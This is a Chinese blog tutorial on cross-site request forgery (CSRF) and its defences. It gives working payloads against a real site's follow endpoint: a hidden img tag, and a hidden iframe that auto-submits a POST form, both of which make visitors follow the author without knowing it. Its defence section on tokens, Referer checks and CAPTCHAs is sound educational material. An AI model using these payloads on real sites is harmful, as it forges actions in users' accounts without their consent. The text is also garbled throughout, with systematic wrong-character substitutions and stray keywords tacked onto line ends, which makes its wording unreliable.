Web安全之CSRF攻击

CSRF是什么?html

CSRF(Cross Site Request Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登陆目标网站以后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操做的请求,达到攻击目的。chrome

举个例子跨域

简单版:浏览器

假如博客园有个加关注的GET接口,blogUserGuid参数很明显是关注人Id,以下:安全

http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315

那我只须要在个人一篇博文内容里面写一个img标签:服务器

<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315"   />

那么只要有人打开我这篇博文,那就会自动关注我。mvc

升级版:工具

假如博客园仍是有个加关注的接口,不过已经限制了只获取POST请求的数据。这个时候就作一个第三方的页面,但里面包含form提交代码,而后经过QQ、邮箱等社交工具传播,诱惑用户去打开,那打开过博客园的用户就中招了。post

在说例子以前要纠正一个iframe问题,有人会直接在第三方页面这样写。以下:网站

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <!--不嵌iframe会跳转-->
          <iframe style="display:none;">
               <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
                    <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
                    <input type="submit" value>
               </form>
               <script>
                    document.forms.form1.submit();
               </script>
          </iframe>
     </body>
</html>

这样是用问题的,因为同源策略的缘由,iframe内容根本加载不出来,因此里面form提交固然不会执行。

PS:我尝试了chrome、IE十一、Firefox,状况都是这样。

因此能够用嵌多一层页面方式解决,以下:

第一个展现页面(test):

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <iframe style="display:none;" src="test2.html"></iframe>
     </body>
</html>

第二个隐藏页面(test2):

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>

这样就能够解决了,有人会问为何要加多一层iframe,由于不嵌iframe页面会重定向,这样就下降了攻击的隐蔽性。另外咱们test页面不使用XMLHTTPRequest发送POST请求,是由于有跨域的问题,而form能够跨域post数据

进阶版:

假如博客园仍是有个加关注的接口,已经限制POST,但博文内容是直接贴进HTML(未过滤),那就遭受XSS攻击。那么就能够直接把上面代码嵌入博文,那么只要有人打开我这篇博文,仍是会自动关注我,这组合攻击方式称为XSRF。

CSRF攻击的本质缘由

CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然能够保证一个请求是来自于某个用户的浏览器,但却没法保证该请求是用户批准发送的。CSRF攻击的通常是由服务端解决。

CSRF工具的防护手段

1. 尽可能使用POST,限制GET

GET接口太容易被拿来作CSRF攻击,看第一个示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,下降攻击风险。

固然POST并非万无一失,攻击者只要构造一个form就能够,但须要在第三方页面作,这样就增长暴露的可能性。

2. 浏览器Cookie策略

IE六、七、八、Safari会默认拦截第三方本地Cookie(Third-party Cookie)的发送。可是Firefox二、三、Opera、Chrome、Android等不会拦截,因此经过浏览器Cookie策略来防护CSRF攻击不靠谱,只能说是下降了风险。

PS:Cookie分为两种,Session Cookie(在浏览器关闭后,就会失效,保存到内存里),Third-party Cookie(即只有到了Exprie时间后才会失效的Cookie,这种Cookie会保存到本地)。

PS:另外若是网站返回HTTP头包含P3P Header,那么将容许浏览器发送第三方Cookie。

3. 加验证码

验证码,强制用户必须与应用进行交互,才能完成最终请求。在一般状况下,验证码能很好遏制CSRF攻击。可是出于用户体验考虑,网站不能给全部的操做都加上验证码。所以验证码只能做为一种辅助手段,不能做为主要解决方案。

4. Referer Check

Referer Check在Web最多见的应用就是“防止图片盗链”。同理,Referer Check也能够被用于检查请求是否来自合法的“源”(Referer值是不是指定页面,或者网站的域),若是都不是,那么就很可能是CSRF攻击。

可是由于服务器并非何时都能取到Referer,因此也没法做为CSRF防护的主要手段。可是用Referer Check来监控CSRF攻击的发生,却是一种可行的方法。

5. Anti CSRF Token

如今业界对CSRF的防护,一致的作法是使用一个Token(Anti CSRF Token)。

例子:

1. 用户访问某个表单页面。

2. 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

3. 在页面表单附带上Token参数。

4. 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

这个Token的值必须是随机的,不可预测的。因为Token的存在,攻击者没法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽可能把敏感操做由GET改成POST,以form或AJAX形式提交,避免Token泄露。

注意:

CSRF的Token仅仅用于对抗CSRF攻击。当网站同时存在XSS漏洞时候,那这个方案也是空谈。因此XSS带来的问题,应该使用XSS的防护方案予以解决。

总结

CSRF攻击是攻击者利用用户的身份操做用户账户的一种攻击方式,一般使用Anti CSRF Token来防护CSRF攻击,同时要注意Token的保密性和随机性。

参考文献:

1. 《浅谈CSRF攻击方式

2. 《白帽子讲Web安全》

 

本文为原创文章,转载请保留原出处,方便溯源,若有错误地方,谢谢指正。

本文地址 :http://www.cnblogs.com/lovesong/p/5233195.html

相关文章
相关标签/搜索